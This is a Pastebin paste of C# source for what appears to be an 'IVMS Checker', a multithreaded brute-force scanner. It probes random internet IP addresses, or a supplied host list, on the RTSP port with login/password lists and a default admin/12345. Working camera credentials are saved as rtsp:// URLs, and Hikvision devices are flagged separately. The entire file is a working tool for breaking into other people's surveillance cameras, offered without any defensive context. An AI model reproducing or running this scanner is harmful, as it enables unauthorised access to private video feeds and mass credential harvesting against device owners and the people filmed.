Guest User

43534534534534543534534534534543543

a guest
May 19th, 2015
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 8.98 KB | None | 0 0
  1. using System;
  2. using System.Net.Sockets;
  3. using System.Threading.Tasks;
  4. using System.Text;
  5. using System.IO;
  6. using System.Diagnostics;
  7.  
  8. namespace IVMSC2
  9. {
  10.     class MainClass
  11.     {
  12.         const string _passFile = "Passwords.txt";
  13.         const string _loginFile = "Logins.txt";
  14.         const string _hostsFile = "Hosts.txt";
  15.  
  16.         const string _goodsFile = "Good.txt";
  17.         const string _goodsFile2 = "Good2.txt";
  18.  
  19.         const string _defaultLogin = "admin";
  20.         const string _defaultPass = "12345";
  21.  
  22.         static string[] passwds, logins;
  23.  
  24.         private static readonly AutoResetEvent reset = new AutoResetEvent(false);
  25.  
  26.         private const int MaxThread = 150; // максимальное кол-во потоков
  27.         private static int threads = 0;
  28.  
  29.         public static void Check(string ip)
  30.         {
  31.             string host = ip;
  32.  
  33.             Console.WriteLine ("Scan: {0}", host);
  34.  
  35.             bool again = true;
  36.                
  37.             for (uint j = 0; j < logins.Length; j++) {
  38.                 for (uint i = 0; i < passwds.Length; i++) {
  39.  
  40.                     Console.WriteLine ("Host: {0} Login: {1} Pass: {2}", host, logins [j], passwds [i]);
  41.  
  42.                     using (var tcp = new RtpsCLient (host, logins [j], passwds [i])) {
  43.                         try {
  44.  
  45.                             var req1 = tcp.SendPacket (string.Empty, RtpsCLient.Commands.Describe);
  46.                             Debug.WriteLine (req1);
  47.  
  48.                             //var req2 = tcp.SendPacket("movie.mjpeg", RtpsCLient.Commands.Setup);
  49.                             //Debug.WriteLine(request2);
  50.  
  51.                             var sr = new StringReader (req1);
  52.                             switch (sr.ReadLine ()) {
  53.                             case "RTSP/1.0 200 OK":
  54.                                 again = false;
  55.                                 Console.WriteLine ("\tHost: {0}; Login: {1}; Pass: {2}", host, logins [j], passwds [i]);
  56.                                 if (req1.Contains ("a=control:rtsp://")//hikvision sign1
  57.                                     || req1.Contains ("Media Presentation")) { //hikvision sign2
  58.                                     File.AppendAllText (_goodsFile2, string.Format ("rtsp://{0}:{1}@{2}" + Environment.NewLine, logins [j], passwds [i], host));
  59.                                 }
  60.                                 File.AppendAllText (_goodsFile, string.Format ("rtsp://{0}:{1}@{2}" + Environment.NewLine, logins [j], passwds [i], host));
  61.                                 Console.Beep();
  62.                                 break;
  63.  
  64.                             case "RTSP/1.0 401 Unauthorized":
  65.                                 break;
  66.                             }
  67.  
  68.                         } catch (Exception ex) {
  69.                             var socketException = ex as SocketException;
  70.                             if (socketException != null) {
  71.                                 again &= socketException.ErrorCode != 10060;
  72.                             } else {
  73.                                 //Debug.WriteLine (ex);
  74.                             }
  75.                         } finally {
  76.                             tcp.Close ();
  77.                         }
  78.                     }
  79.    
  80.                     if (!again) {
  81.                         return;
  82.                     }
  83.            
  84.                 }
  85.             }
  86.         }
  87.  
  88.         public static int RandNumber(int Low, int High)
  89.         {
  90.             var rndNum = new Random(int.Parse(Guid.NewGuid().ToString().Substring(0, 8), System.Globalization.NumberStyles.HexNumber));
  91.  
  92.             int rnd = rndNum.Next(Low, High);
  93.  
  94.             return rnd;
  95.         }
  96.  
  97.         public static void Main (string[] args)
  98.         {
  99.             //Console.WriteLine ("IVMS Checker v2.4");
  100.  
  101.             if (!File.Exists (_passFile) || !File.Exists (_loginFile)) {
  102.                 passwds = new []{ _defaultPass };
  103.                 logins = new []{ _defaultLogin };
  104.             } else {
  105.                 passwds = File.ReadAllLines (_passFile);
  106.                 logins = File.ReadAllLines (_loginFile);
  107.             }
  108.  
  109.             Console.WriteLine ("Паролей загружено: {0}", passwds.Length);
  110.             Console.WriteLine ("Логиней загружено: {0}", logins.Length);
  111.  
  112.             if (!File.Exists (_hostsFile)) {
  113.                 var r = new Random ();
  114.  
  115.                 for (;;) {
  116.                     threads = threads + 1;
  117.  
  118.                     String randomIp = String.Copy (string.Format ("{0}.{1}.{2}.{3}",  
  119.                         RandNumber (1, 255),  
  120.                         RandNumber (0, 255),  
  121.                         RandNumber (0, 255),  
  122.                         RandNumber (0, 255)));
  123.                    
  124.                     new Thread (() => {
  125.  
  126.                         Check (randomIp);
  127.  
  128.                         threads = threads - 1;
  129.                         reset.Set ();
  130.                     }).Start ();
  131.  
  132.                     if (threads >= MaxThread)
  133.                         reset.WaitOne ();
  134.                    
  135.                     Debug.WriteLine (threads);
  136.                 }
  137.             } else {
  138.                 using (var r = new StreamReader (_hostsFile)) {
  139.                     string hostLine;
  140.  
  141.                     while ((hostLine = r.ReadLine ()) != null) {
  142.                         threads = threads + 1;
  143.  
  144.                         String ip = String.Copy (hostLine);
  145.                         new Thread (() => {
  146.                        
  147.                             Check (ip);
  148.  
  149.                             threads = threads - 1;
  150.                             reset.Set ();
  151.                         }).Start ();
  152.  
  153.                         if (threads >= MaxThread)
  154.                             reset.WaitOne ();
  155.                     }
  156.  
  157.                     //ждать завершения всех потоков
  158.                     while (threads > 0) {
  159.                         Debug.WriteLine (threads);
  160.                         reset.WaitOne ();
  161.                     }
  162.                 }
  163.             }
  164.  
  165.             Debug.WriteLine ("done");
  166.  
  167.         }
  168.     }
  169.  
  170.     class RtpsCLient : IDisposable
  171.     {
  172.         public enum Commands
  173.         {
  174.             Describe,
  175.             Setup,
  176.             Play,
  177.             Pause,
  178.             Teardown
  179.         }
  180.  
  181.         private readonly string hostname;
  182.         private readonly int port;
  183.  
  184.         private string login;
  185.         private string pass;
  186.  
  187.         private readonly int connectTimeout;
  188.         private readonly int receiveTimeout;
  189.         private readonly int sendTimeout;
  190.  
  191.         private TcpClient client;
  192.  
  193.         private int csep = 0;
  194.         private string session;
  195.  
  196.  
  197.         private int UDPLocalPort=0;
  198.  
  199.         public RtpsCLient(string hostname, string login, string pass, ushort port = 554,
  200.             int connectTimeout = 8000,
  201.             int receiveTimeout = 8000,
  202.             int sendTimeout = 8000)
  203.         {
  204.             this.hostname = hostname;
  205.             this.port = (int)port;
  206.             this.connectTimeout = connectTimeout;
  207.             this.sendTimeout = sendTimeout;
  208.             this.receiveTimeout = receiveTimeout;
  209.  
  210.             this.login = login;
  211.             this.pass = pass;
  212.         }
  213.    
  214.         public void Dispose()
  215.         {
  216.             Close ();
  217.         }
  218.  
  219.         public void Close()
  220.         {
  221.             if (client == null)
  222.                 return;
  223.             client.Close ();
  224.             client = null;
  225.         }
  226.    
  227.         public string SendPacket(string path, Commands command)
  228.         {
  229.             var builder = new StringBuilder ();
  230.  
  231.             var auth64 = Convert.ToBase64String (Encoding.ASCII.GetBytes (string.Format ("{0}:{1}", login, pass)));
  232.  
  233.             switch (command) {
  234.  
  235.             case Commands.Describe:
  236.                 builder.AppendFormat ("DESCRIBE {0}/{1} RTSP/1.0\r\n", hostname, path);
  237.                 builder.AppendFormat ("CSeq: {0}\r\n", csep + 1);
  238.                 if (!string.IsNullOrEmpty (login) && !string.IsNullOrEmpty (pass))
  239.                     builder.AppendFormat ("Authorization: Basic {0}\r\n", auth64);
  240.                 break;
  241.  
  242.             /*case Commands.Setup:
  243.                 builder.AppendFormat ("SETUP {0}/{1} RTSP/1.0\r\n", hostname, path);
  244.                 builder.AppendFormat ("Cseq: {0}\r\n", csep + 1);
  245.                 builder.AppendFormat ("Transport: RTP/UDP; client_port= {0}\r\n", UDPLocalPort);
  246.                 if (!string.IsNullOrEmpty (login) && !string.IsNullOrEmpty (pass))
  247.                     builder.AppendFormat ("Authorization: Basic {0}\r\n", auth64);
  248.                 break;
  249.  
  250.             case Commands.Play:
  251.                 builder.AppendFormat ("PLAY {0}/{1} RTSP/1.0\r\n", hostname, path);
  252.                 builder.AppendFormat ("Cseq: {0}\r\n", csep + 1);
  253.                 builder.AppendFormat ("Session: {0}\r\n", session);
  254.                 if (!string.IsNullOrEmpty (login) && !string.IsNullOrEmpty (pass))
  255.                     builder.AppendFormat ("Authorization: Basic {0}\r\n", auth64);
  256.                 break;
  257.  
  258.             case Commands.Pause:
  259.                 builder.AppendFormat ("PAUSE {0}/{1} RTSP/1.0\r\n", hostname, path);
  260.                 builder.AppendFormat ("Cseq: {0}\r\n", csep + 1);
  261.                 builder.AppendFormat ("Session: {0}\r\n", session);
  262.                 if (!string.IsNullOrEmpty (login) && !string.IsNullOrEmpty (pass))
  263.                     builder.AppendFormat ("Authorization: Basic {0}\r\n", auth64);
  264.                 break;
  265.  
  266.             case Commands.Teardown:
  267.                 builder.AppendFormat ("TEARDOWN {0}/{1} RTSP/1.0\r\n", hostname, path);
  268.                 builder.AppendFormat ("Cseq: {0}\r\n", csep + 1);
  269.                 builder.AppendFormat ("Session: {0}\r\n", session);
  270.                 if (!string.IsNullOrEmpty (login) && !string.IsNullOrEmpty (pass))
  271.                     builder.AppendFormat ("Authorization: Basic {0}\r\n", auth64);
  272.                 break;*/
  273.             }
  274.  
  275.             builder.Append ("\r\n");
  276.  
  277.             var packet = Encoding.ASCII.GetBytes (builder.ToString ());
  278.             var received = SendAndReceive (packet);
  279.                    
  280.             return received;
  281.    
  282.         }
  283.  
  284.         private string SendAndReceive(byte[] message)
  285.         {
  286.             return SendAndReceiveAsync (message).Result;
  287.         }
  288.  
  289.         private async Task<string> SendAndReceiveAsync(byte[] message)
  290.         {
  291.             var tcpStream = await GetNetworkStream ();
  292.             await WriteRequest (message, tcpStream);
  293.             var response = await ReadResponseAsync (tcpStream);
  294.             return response;
  295.         }
  296.  
  297.         private async Task<string> ReadResponseAsync(Stream tcpStream)
  298.         {
  299.             var bytes = new byte[client.ReceiveBufferSize];
  300.  
  301.             await Task.WhenAny (
  302.                 tcpStream.ReadAsync (bytes, 0, bytes.Length),
  303.                 Task.Delay (this.receiveTimeout)
  304.             );
  305.  
  306.             return Encoding.ASCII.GetString (bytes);
  307.         }
  308.  
  309.         private async Task WriteRequest(byte[] message, Stream tcpStream)
  310.         {
  311.             tcpStream.Write (message, 0, message.Length);
  312.             await tcpStream.FlushAsync ();
  313.         }
  314.  
  315.         private async Task<NetworkStream> GetNetworkStream()
  316.         {
  317.             if (client == null) {
  318.                 var c = new TcpClient ();
  319.                 if (this.connectTimeout > 0) {
  320.                    
  321.                     await Task.WhenAny (
  322.                         c.ConnectAsync (hostname, port),
  323.                         Task.Delay (this.connectTimeout)
  324.                     );
  325.  
  326.                     if (!c.Connected) {
  327.                         throw new SocketException (10060);
  328.                     }
  329.                 } else {
  330.                     await c.ConnectAsync (hostname, port);
  331.                 }
  332.  
  333.                 client = c;
  334.                 //client.SendTimeout = this.sendTimeout;
  335.                 //client.ReceiveTimeout = this.receiveTimeout;
  336.             }
  337.             return client.GetStream ();
  338.         }
  339.  
  340.     }
  341.  
  342.  
  343. }
Advertisement
Add Comment
Please, Sign In to add comment